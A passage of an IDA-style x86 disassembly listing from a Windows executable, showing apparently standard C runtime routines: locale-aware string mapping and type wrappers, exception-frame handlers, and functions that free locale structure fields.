		mov	edx, [edx+8]
		test	edx, edx
		jz	short loc_415B97
		movzx	esi, byte ptr [ebp+arg_1C]
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	ecx
		call	edx
		add	esp, 20h
		jmp	short loc_415BB6
; ---------------------------------------------------------------------------

loc_415B97:				; CODE XREF: sub_415AD7+8Cj
					; sub_415AD7+92j ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	ecx
		call	sub_415769
		add	esp, 20h

loc_415BB3:				; CODE XREF: sub_415AD7+43j
					; sub_415AD7+53j ...
		xor	eax, eax
		inc	eax

loc_415BB6:				; CODE XREF: sub_415AD7+BEj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_415AD7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415BBB	proc near		; CODE XREF: sub_414E80:loc_414EB4p
					; sub_414FBA+22j ...

ms_exc		= CPPEH_RECORD ptr -18h

; FUNCTION CHUNK AT 00415BE2 SIZE 00000012 BYTES

		push	8
		push	offset dword_421CF8
		call	__SEH_prolog4
		call	sub_40F39E
		mov	eax, [eax+78h]
		test	eax, eax
		jz	short loc_415BE9
		and	[ebp+ms_exc.disabled], 0
		call	eax
		jmp	short loc_415BE2
sub_415BBB	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_415BBB

loc_415BE2:				; CODE XREF: sub_415BBB+1Ej
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh

loc_415BE9:				; CODE XREF: sub_415BBB+16j
		call	sub_419CD1
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_415BBB

; =============== S U B	R O U T	I N E =======================================



sub_415BF4	proc near		; CODE XREF: sub_415216+23p
		call	sub_40F39E
		mov	eax, [eax+7Ch]
		test	eax, eax
		jz	short loc_415C02
		call	eax

loc_415C02:				; CODE XREF: sub_415BF4+Aj
		jmp	sub_415BBB
sub_415BF4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415C07	proc near		; CODE XREF: sub_40E467+1Cp
					; sub_40E467:loc_40E4C8p ...

ms_exc		= CPPEH_RECORD ptr -18h

		push	8
		push	offset dword_421D18
		call	__SEH_prolog4
		push	off_42648C
		call	sub_40F194
		pop	ecx
		test	eax, eax
		jz	short loc_415C39
		and	[ebp+ms_exc.disabled], 0
		call	eax
		jmp	short loc_415C32
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]

loc_415C32:				; CODE XREF: sub_415C07+22j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh

loc_415C39:				; CODE XREF: sub_415C07+1Aj
		jmp	sub_415BBB
sub_415C07	endp


; =============== S U B	R O U T	I N E =======================================



sub_415C3E	proc near		; CODE XREF: sub_411C19+33p
		push	offset sub_415BBB
		call	sub_40F128
		pop	ecx
		mov	off_42648C, eax
		retn
sub_415C3E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415C50	proc near		; CODE XREF: sub_40E56F+4Ap
					; sub_414FFE+77p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_418820
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_415C8F
		mov	ecx, 2

loc_415C8F:				; CODE XREF: sub_415C50+38j
		push	ecx
		call	sub_418820
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_415C50	endp


; =============== S U B	R O U T	I N E =======================================



sub_415C9C	proc near		; CODE XREF: sub_415CB7+220p
					; sub_415CB7+229p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short locret_415CB6
		sub	eax, 8
		cmp	dword ptr [eax], 0DDDDh
		jnz	short locret_415CB6
		push	eax
		call	sub_40D35A
		pop	ecx

locret_415CB6:				; CODE XREF: sub_415C9C+6j
					; sub_415C9C+11j
		retn
sub_415C9C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415CB7	proc near		; CODE XREF: sub_416059+2Cp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		push	esi
		xor	ebx, ebx
		cmp	dword_426490, ebx
		push	edi
		mov	esi, ecx
		jnz	short loc_415D0E
		push	ebx
		push	ebx
		xor	edi, edi
		inc	edi
		push	edi
		push	offset dword_41EC2C
		push	100h
		push	ebx
		call	ds:dword_41E110	; LCMapStringW
		test	eax, eax
		jz	short loc_415CF9
		mov	dword_426490, edi
		jmp	short loc_415D0E
; ---------------------------------------------------------------------------

loc_415CF9:				; CODE XREF: sub_415CB7+38j
		call	ds:dword_41E0D8	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_415D0E
		mov	dword_426490, 2

loc_415D0E:				; CODE XREF: sub_415CB7+1Dj
					; sub_415CB7+40j ...
		cmp	[ebp+arg_C], ebx
		jle	short loc_415D35
		mov	ecx, [ebp+arg_C]
		mov	eax, [ebp+arg_8]

loc_415D19:				; CODE XREF: sub_415CB7+6Aj
		dec	ecx
		cmp	[eax], bl
		jz	short loc_415D26
		inc	eax
		cmp	ecx, ebx
		jnz	short loc_415D19
		or	ecx, 0FFFFFFFFh

loc_415D26:				; CODE XREF: sub_415CB7+65j
		mov	eax, [ebp+arg_C]
		sub	eax, ecx
		dec	eax
		cmp	eax, [ebp+arg_C]
		jge	short loc_415D32
		inc	eax

loc_415D32:				; CODE XREF: sub_415CB7+78j
		mov	[ebp+arg_C], eax

loc_415D35:				; CODE XREF: sub_415CB7+5Aj
		mov	eax, dword_426490
		cmp	eax, 2
		jz	loc_415EEE
		cmp	eax, ebx
		jz	loc_415EEE
		cmp	eax, 1
		jnz	loc_415F1F
		cmp	[ebp+arg_18], ebx
		mov	[ebp+var_8], ebx
		jnz	short loc_415D64
		mov	eax, [esi]
		mov	eax, [eax+4]
		mov	[ebp+arg_18], eax

loc_415D64:				; CODE XREF: sub_415CB7+A3j
		mov	esi, ds:dword_41E08C
		xor	eax, eax
		cmp	[ebp+arg_1C], ebx
		push	ebx
		push	ebx
		push	[ebp+arg_C]
		setnz	al
		push	[ebp+arg_8]
		lea	eax, ds:1[eax*8]
		push	eax
		push	[ebp+arg_18]
		call	esi	; MultiByteToWideChar
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_415F1F
		jle	short loc_415DD6
		push	0FFFFFFE0h
		xor	edx, edx
		pop	eax
		div	edi
		cmp	eax, 2
		jb	short loc_415DD6
		lea	eax, [edi+edi+8]
		cmp	eax, 400h
		ja	short loc_415DBD
		call	sub_419FC0
		mov	eax, esp
		cmp	eax, ebx
		jz	short loc_415DD1
		mov	dword ptr [eax], 0CCCCh
		jmp	short loc_415DCE
; ---------------------------------------------------------------------------

loc_415DBD:				; CODE XREF: sub_415CB7+F1j
		push	eax
		call	sub_40D437
		cmp	eax, ebx
		pop	ecx
		jz	short loc_415DD1
		mov	dword ptr [eax], 0DDDDh

loc_415DCE:				; CODE XREF: sub_415CB7+104j
		add	eax, 8

loc_415DD1:				; CODE XREF: sub_415CB7+FCj
					; sub_415CB7+10Fj
		mov	[ebp+var_C], eax
		jmp	short loc_415DD9
; ---------------------------------------------------------------------------

loc_415DD6:				; CODE XREF: sub_415CB7+DAj
					; sub_415CB7+E6j
		mov	[ebp+var_C], ebx

loc_415DD9:				; CODE XREF: sub_415CB7+11Dj
		cmp	[ebp+var_C], ebx
		jz	loc_415F1F
		push	edi
		push	[ebp+var_C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jz	loc_415EDD
		mov	esi, ds:dword_41E110
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	esi	; LCMapStringW
		mov	ecx, eax
		cmp	ecx, ebx
		mov	[ebp+var_8], ecx
		jz	loc_415EDD
		test	word ptr [ebp+arg_4], 400h
		jz	short loc_415E4D
		cmp	[ebp+arg_14], ebx
		jz	loc_415EDD
		cmp	ecx, [ebp+arg_14]
		jg	loc_415EDD
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	edi
		push	[ebp+var_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	esi	; LCMapStringW
		jmp	loc_415EDD
; ---------------------------------------------------------------------------

loc_415E4D:				; CODE XREF: sub_415CB7+16Bj
		cmp	ecx, ebx
		jle	short loc_415E96
		push	0FFFFFFE0h
		xor	edx, edx
		pop	eax
		div	ecx
		cmp	eax, 2
		jb	short loc_415E96
		lea	eax, [ecx+ecx+8]
		cmp	eax, 400h
		ja	short loc_415E7E
		call	sub_419FC0
		mov	esi, esp
		cmp	esi, ebx
		jz	short loc_415EDD
		mov	dword ptr [esi], 0CCCCh
		add	esi, 8
		jmp	short loc_415E98
; ---------------------------------------------------------------------------

loc_415E7E:				; CODE XREF: sub_415CB7+1AFj
		push	eax
		call	sub_40D437
		cmp	eax, ebx
		pop	ecx
		jz	short loc_415E92
		mov	dword ptr [eax], 0DDDDh
		add	eax, 8

loc_415E92:				; CODE XREF: sub_415CB7+1D0j
		mov	esi, eax
		jmp	short loc_415E98
; ---------------------------------------------------------------------------

loc_415E96:				; CODE XREF: sub_415CB7+198j
					; sub_415CB7+1A4j
		xor	esi, esi

loc_415E98:				; CODE XREF: sub_415CB7+1C5j
					; sub_415CB7+1DDj
		cmp	esi, ebx
		jz	short loc_415EDD
		push	[ebp+var_8]
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_41E110	; LCMapStringW
		test	eax, eax
		jz	short loc_415ED6
		cmp	[ebp+arg_14], ebx
		push	ebx
		push	ebx
		jnz	short loc_415EBF
		push	ebx
		push	ebx
		jmp	short loc_415EC5
; ---------------------------------------------------------------------------

loc_415EBF:				; CODE XREF: sub_415CB7+202j
		push	[ebp+arg_14]
		push	[ebp+arg_10]

loc_415EC5:				; CODE XREF: sub_415CB7+206j
		push	[ebp+var_8]
		push	esi
		push	ebx
		push	[ebp+arg_18]
		call	ds:dword_41E120	; WideCharToMultiByte
		mov	[ebp+var_8], eax

loc_415ED6:				; CODE XREF: sub_415CB7+1FBj
		push	esi
		call	sub_415C9C
		pop	ecx

loc_415EDD:				; CODE XREF: sub_415CB7+13Ej
					; sub_415CB7+15Fj ...
		push	[ebp+var_C]
		call	sub_415C9C
		mov	eax, [ebp+var_8]
		pop	ecx
		jmp	loc_416047
; ---------------------------------------------------------------------------

loc_415EEE:				; CODE XREF: sub_415CB7+86j
					; sub_415CB7+8Ej
		cmp	[ebp+arg_0], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_10], ebx
		jnz	short loc_415F01
		mov	eax, [esi]
		mov	eax, [eax+14h]
		mov	[ebp+arg_0], eax

loc_415F01:				; CODE XREF: sub_415CB7+240j
		cmp	[ebp+arg_18], ebx
		jnz	short loc_415F0E
		mov	eax, [esi]
		mov	eax, [eax+4]
		mov	[ebp+arg_18], eax

loc_415F0E:				; CODE XREF: sub_415CB7+24Dj
		push	[ebp+arg_0]
		call	sub_419DC4
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jnz	short loc_415F26

loc_415F1F:				; CODE XREF: sub_415CB7+97j
					; sub_415CB7+D4j ...
		xor	eax, eax
		jmp	loc_416047
; ---------------------------------------------------------------------------

loc_415F26:				; CODE XREF: sub_415CB7+266j
		cmp	eax, [ebp+arg_18]
		jz	loc_41600A
		push	ebx
		push	ebx
		lea	ecx, [ebp+arg_C]
		push	ecx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_18]
		call	sub_419E0B
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_C], eax
		jz	short loc_415F1F
		mov	esi, ds:off_41E114
		push	ebx
		push	ebx
		push	[ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	esi ; sub_43BB5A
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jnz	short loc_415F6D

loc_415F66:				; CODE XREF: sub_415CB7+2D0j
					; sub_415CB7+2F9j
		xor	esi, esi
		jmp	loc_416024
; ---------------------------------------------------------------------------

loc_415F6D:				; CODE XREF: sub_415CB7+2ADj
		jle	short loc_415FAC
		cmp	eax, 0FFFFFFE0h
		ja	short loc_415FAC
		add	eax, 8
		cmp	eax, 400h
		ja	short loc_415F94
		call	sub_419FC0
		mov	edi, esp
		cmp	edi, ebx
		jz	short loc_415F66
		mov	dword ptr [edi], 0CCCCh
		add	edi, 8
		jmp	short loc_415FAE
; ---------------------------------------------------------------------------

loc_415F94:				; CODE XREF: sub_415CB7+2C5j
		push	eax
		call	sub_40D437
		cmp	eax, ebx
		pop	ecx
		jz	short loc_415FA8
		mov	dword ptr [eax], 0DDDDh
		add	eax, 8

loc_415FA8:				; CODE XREF: sub_415CB7+2E6j
		mov	edi, eax
		jmp	short loc_415FAE
; ---------------------------------------------------------------------------

loc_415FAC:				; CODE XREF: sub_415CB7:loc_415F6Dj
					; sub_415CB7+2BBj
		xor	edi, edi

loc_415FAE:				; CODE XREF: sub_415CB7+2DBj
					; sub_415CB7+2F3j
		cmp	edi, ebx
		jz	short loc_415F66
		push	[ebp+var_8]
		push	ebx
		push	edi
		call	sub_40C6F0
		add	esp, 0Ch
		push	[ebp+var_8]
		push	edi
		push	[ebp+arg_C]
		push	[ebp+var_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	esi ; sub_43BB5A
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jnz	short loc_415FDC
		xor	esi, esi
		jmp	short loc_416001
; ---------------------------------------------------------------------------

loc_415FDC:				; CODE XREF: sub_415CB7+31Fj
		push	[ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	[ebp+arg_10]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+var_14]
		call	sub_419E0B
		mov	esi, eax
		mov	[ebp+var_10], esi
		add	esp, 18h
		neg	esi
		sbb	esi, esi
		and	esi, [ebp+var_8]

loc_416001:				; CODE XREF: sub_415CB7+323j
		push	edi
		call	sub_415C9C
		pop	ecx
		jmp	short loc_416024
; ---------------------------------------------------------------------------

loc_41600A:				; CODE XREF: sub_415CB7+272j
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:off_41E114
		mov	esi, eax

loc_416024:				; CODE XREF: sub_415CB7+2B1j
					; sub_415CB7+351j
		cmp	[ebp+var_C], ebx
		jz	short loc_416032
		push	[ebp+var_C]
		call	sub_40D35A
		pop	ecx

loc_416032:				; CODE XREF: sub_415CB7+370j
		mov	eax, [ebp+var_10]
		cmp	eax, ebx
		jz	short loc_416045
		cmp	[ebp+arg_10], eax
		jz	short loc_416045
		push	eax
		call	sub_40D35A
		pop	ecx

loc_416045:				; CODE XREF: sub_415CB7+380j
					; sub_415CB7+385j
		mov	eax, esi

loc_416047:				; CODE XREF: sub_415CB7+232j
					; sub_415CB7+26Aj
		lea	esp, [ebp-20h]
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		call	sub_40AB4A
		leave
		retn
sub_415CB7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416059	proc near		; CODE XREF: sub_40E817+B6p
					; sub_40E817+DBp ...

var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	[ebp+arg_0]
		lea	ecx, [ebp+var_10]
		call	sub_40AB59
		push	[ebp+arg_20]
		lea	ecx, [ebp+var_10]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_415CB7
		add	esp, 20h
		cmp	[ebp+var_4], 0
		jz	short locret_41609A
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

locret_41609A:				; CODE XREF: sub_416059+38j
		leave
		retn
sub_416059	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41609C	proc near		; CODE XREF: sub_416254+29p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, dword_426494
		push	ebx
		push	esi
		xor	ebx, ebx
		cmp	eax, ebx
		push	edi
		mov	edi, ecx
		jnz	short loc_4160F5
		lea	eax, [ebp+var_8]
		push	eax
		xor	esi, esi
		inc	esi
		push	esi
		push	offset dword_41EC2C
		push	esi
		call	ds:dword_41E108	; GetStringTypeW
		test	eax, eax
		jz	short loc_4160DB
		mov	dword_426494, esi
		jmp	short loc_41610F
; ---------------------------------------------------------------------------

loc_4160DB:				; CODE XREF: sub_41609C+35j
		call	ds:dword_41E0D8	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_4160F0
		push	2
		pop	eax
		mov	dword_426494, eax
		jmp	short loc_4160F5
; ---------------------------------------------------------------------------

loc_4160F0:				; CODE XREF: sub_41609C+48j
		mov	eax, dword_426494

loc_4160F5:				; CODE XREF: sub_41609C+1Dj
					; sub_41609C+52j
		cmp	eax, 2
		jz	loc_4161CD
		cmp	eax, ebx
		jz	loc_4161CD
		cmp	eax, 1
		jnz	loc_4161F7

loc_41610F:				; CODE XREF: sub_41609C+3Dj
		cmp	[ebp+arg_10], ebx
		mov	[ebp+var_8], ebx
		jnz	short loc_41611F
		mov	eax, [edi]
		mov	eax, [eax+4]
		mov	[ebp+arg_10], eax

loc_41611F:				; CODE XREF: sub_41609C+79j
		mov	esi, ds:dword_41E08C
		xor	eax, eax
		cmp	[ebp+arg_18], ebx
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		setnz	al
		push	[ebp+arg_4]
		lea	eax, ds:1[eax*8]
		push	eax
		push	[ebp+arg_10]
		call	esi	; MultiByteToWideChar
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4161F7
		jle	short loc_41618A
		cmp	edi, 7FFFFFF0h
		ja	short loc_41618A
		lea	eax, [edi+edi+8]
		cmp	eax, 400h
		ja	short loc_416174
		call	sub_419FC0
		mov	eax, esp
		cmp	eax, ebx
		jz	short loc_416188
		mov	dword ptr [eax], 0CCCCh
		jmp	short loc_416185
; ---------------------------------------------------------------------------

loc_416174:				; CODE XREF: sub_41609C+C3j
		push	eax
		call	sub_40D437
		cmp	eax, ebx
		pop	ecx
		jz	short loc_416188
		mov	dword ptr [eax], 0DDDDh

loc_416185:				; CODE XREF: sub_41609C+D6j
		add	eax, 8

loc_416188:				; CODE XREF: sub_41609C+CEj
					; sub_41609C+E1j
		mov	ebx, eax

loc_41618A:				; CODE XREF: sub_41609C+B0j
					; sub_41609C+B8j
		test	ebx, ebx
		jz	short loc_4161F7
		lea	eax, [edi+edi]
		push	eax
		push	0
		push	ebx
		call	sub_40C6F0
		add	esp, 0Ch
		push	edi
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_4161C1
		push	[ebp+arg_C]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	ds:dword_41E108	; GetStringTypeW
		mov	[ebp+var_8], eax

loc_4161C1:				; CODE XREF: sub_41609C+112j
		push	ebx
		call	sub_415C9C
		mov	eax, [ebp+var_8]
		pop	ecx
		jmp	short loc_416242
; ---------------------------------------------------------------------------

loc_4161CD:				; CODE XREF: sub_41609C+5Cj
					; sub_41609C+64j
		xor	esi, esi
		cmp	[ebp+arg_14], ebx
		jnz	short loc_4161DC
		mov	eax, [edi]
		mov	eax, [eax+14h]
		mov	[ebp+arg_14], eax

loc_4161DC:				; CODE XREF: sub_41609C+136j
		cmp	[ebp+arg_10], ebx
		jnz	short loc_4161E9
		mov	eax, [edi]
		mov	eax, [eax+4]
		mov	[ebp+arg_10], eax

loc_4161E9:				; CODE XREF: sub_41609C+143j
		push	[ebp+arg_14]
		call	sub_419DC4
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_4161FB

loc_4161F7:				; CODE XREF: sub_41609C+6Dj
					; sub_41609C+AAj ...
		xor	eax, eax
		jmp	short loc_416242
; ---------------------------------------------------------------------------

loc_4161FB:				; CODE XREF: sub_41609C+159j
		cmp	eax, [ebp+arg_10]
		jz	short loc_41621E
		push	ebx
		push	ebx
		lea	ecx, [ebp+arg_8]
		push	ecx
		push	[ebp+arg_4]
		push	eax
		push	[ebp+arg_10]
		call	sub_419E0B
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jz	short loc_4161F7
		mov	[ebp+arg_4], esi

loc_41621E:				; CODE XREF: sub_41609C+162j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	[ebp+arg_14]
		call	ds:off_41E10C
		cmp	esi, ebx
		mov	edi, eax
		jz	short loc_416240
		push	esi
		call	sub_40D35A
		pop	ecx

loc_416240:				; CODE XREF: sub_41609C+19Bj
		mov	eax, edi

loc_416242:				; CODE XREF: sub_41609C+12Fj
					; sub_41609C+15Dj
		lea	esp, [ebp-14h]
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		call	sub_40AB4A
		leave
		retn
sub_41609C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416254	proc near		; CODE XREF: sub_40E817+96p
					; sub_4167A4+83p

var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	[ebp+arg_0]
		lea	ecx, [ebp+var_10]
		call	sub_40AB59
		push	[ebp+arg_1C]
		lea	ecx, [ebp+var_10]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_41609C
		add	esp, 1Ch
		cmp	[ebp+var_4], 0
		jz	short locret_416292
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

locret_416292:				; CODE XREF: sub_416254+35j
		leave
		retn
sub_416254	endp


; =============== S U B	R O U T	I N E =======================================



sub_416294	proc near		; CODE XREF: sub_40EE22+E9p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	loc_416422
		push	dword ptr [esi+4]
		call	sub_40D35A
		push	dword ptr [esi+8]
		call	sub_40D35A
		push	dword ptr [esi+0Ch]
		call	sub_40D35A
		push	dword ptr [esi+10h]
		call	sub_40D35A
		push	dword ptr [esi+14h]
		call	sub_40D35A
		push	dword ptr [esi+18h]
		call	sub_40D35A
		push	dword ptr [esi]
		call	sub_40D35A
		push	dword ptr [esi+20h]
		call	sub_40D35A
		push	dword ptr [esi+24h]
		call	sub_40D35A
		push	dword ptr [esi+28h]
		call	sub_40D35A
		push	dword ptr [esi+2Ch]
		call	sub_40D35A
		push	dword ptr [esi+30h]
		call	sub_40D35A
		push	dword ptr [esi+34h]
		call	sub_40D35A
		push	dword ptr [esi+1Ch]
		call	sub_40D35A
		push	dword ptr [esi+38h]
		call	sub_40D35A
		push	dword ptr [esi+3Ch]
		call	sub_40D35A
		add	esp, 40h
		push	dword ptr [esi+40h]
		call	sub_40D35A
		push	dword ptr [esi+44h]
		call	sub_40D35A
		push	dword ptr [esi+48h]
		call	sub_40D35A
		push	dword ptr [esi+4Ch]
		call	sub_40D35A
		push	dword ptr [esi+50h]
		call	sub_40D35A
		push	dword ptr [esi+54h]
		call	sub_40D35A
		push	dword ptr [esi+58h]
		call	sub_40D35A
		push	dword ptr [esi+5Ch]
		call	sub_40D35A
		push	dword ptr [esi+60h]
		call	sub_40D35A
		push	dword ptr [esi+64h]
		call	sub_40D35A
		push	dword ptr [esi+68h]
		call	sub_40D35A
		push	dword ptr [esi+6Ch]
		call	sub_40D35A
		push	dword ptr [esi+70h]
		call	sub_40D35A
		push	dword ptr [esi+74h]
		call	sub_40D35A
		push	dword ptr [esi+78h]
		call	sub_40D35A
		push	dword ptr [esi+7Ch]
		call	sub_40D35A
		add	esp, 40h
		push	dword ptr [esi+80h]
		call	sub_40D35A
		push	dword ptr [esi+84h]
		call	sub_40D35A
		push	dword ptr [esi+88h]
		call	sub_40D35A
		push	dword ptr [esi+8Ch]
		call	sub_40D35A
		push	dword ptr [esi+90h]
		call	sub_40D35A
		push	dword ptr [esi+94h]
		call	sub_40D35A
		push	dword ptr [esi+98h]
		call	sub_40D35A
		push	dword ptr [esi+9Ch]
		call	sub_40D35A
		push	dword ptr [esi+0A0h]
		call	sub_40D35A
		push	dword ptr [esi+0A4h]
		call	sub_40D35A
		push	dword ptr [esi+0A8h]
		call	sub_40D35A
		add	esp, 2Ch

loc_416422:				; CODE XREF: sub_416294+7j
		pop	esi
		retn
sub_416294	endp


; =============== S U B	R O U T	I N E =======================================



sub_416424	proc near		; CODE XREF: sub_40EE22+64p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_416462
		mov	eax, [esi]
		cmp	eax, off_423F18
		jz	short loc_41643E
		push	eax
		call	sub_40D35A
		pop	ecx

loc_41643E:				; CODE XREF: sub_416424+11j
		mov	eax, [esi+4]
		cmp	eax, off_423F1C
		jz	short loc_416450
		push	eax
		call	sub_40D35A
		pop	ecx

loc_416450:				; CODE XREF: sub_416424+23j
		mov	esi, [esi+8]
		cmp	esi, off_423F20
		jz	short loc_416462
		push	esi
		call	sub_40D35A
		pop	ecx

loc_416462:				; CODE XREF: sub_416424+7j
					; sub_416424+35j
		pop	esi
		retn
sub_416424	endp


; =============== S U B	R O U T	I N E =======================================



sub_416464	proc near		; CODE XREF: sub_40EE22+43p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_4164EB
		mov	eax, [esi+0Ch]
		cmp	eax, off_423F24
		jz	short loc_41647F
		push	eax
		call	sub_40D35A
		pop	ecx

loc_41647F:				; CODE XREF: sub_416464+12j
		mov	eax, [esi+10h]
		cmp	eax, off_423F28
		jz	short loc_416491
		push	eax
		call	sub_40D35A
		pop	ecx

loc_416491:				; CODE XREF: sub_416464+24j
		mov	eax, [esi+14h]
		cmp	eax, off_423F2C
		jz	short loc_4164A3
		push	eax
		call	sub_40D35A
		pop	ecx

loc_4164A3:				; CODE XREF: sub_416464+36j
		mov	eax, [esi+18h]
		cmp	eax, off_423F30
		jz	short loc_4164B5
		push	eax
		call	sub_40D35A
		pop	ecx

loc_4164B5:				; CODE XREF: sub_416464+48j
		mov	eax, [esi+1Ch]
		cmp	eax, off_423F34
		jz	short loc_4164C7
		push	eax
		call	sub_40D35A
		pop	ecx

loc_4164C7:				; CODE XREF: sub_416464+5Aj
		mov	eax, [esi+20h]
		cmp	eax, off_423F38
		jz	short loc_4164D9
		push	eax
		call	sub_40D35A
		pop	ecx

loc_4164D9:				; CODE XREF: sub_416464+6Cj
		mov	esi, [esi+24h]
		cmp	esi, off_423F3C
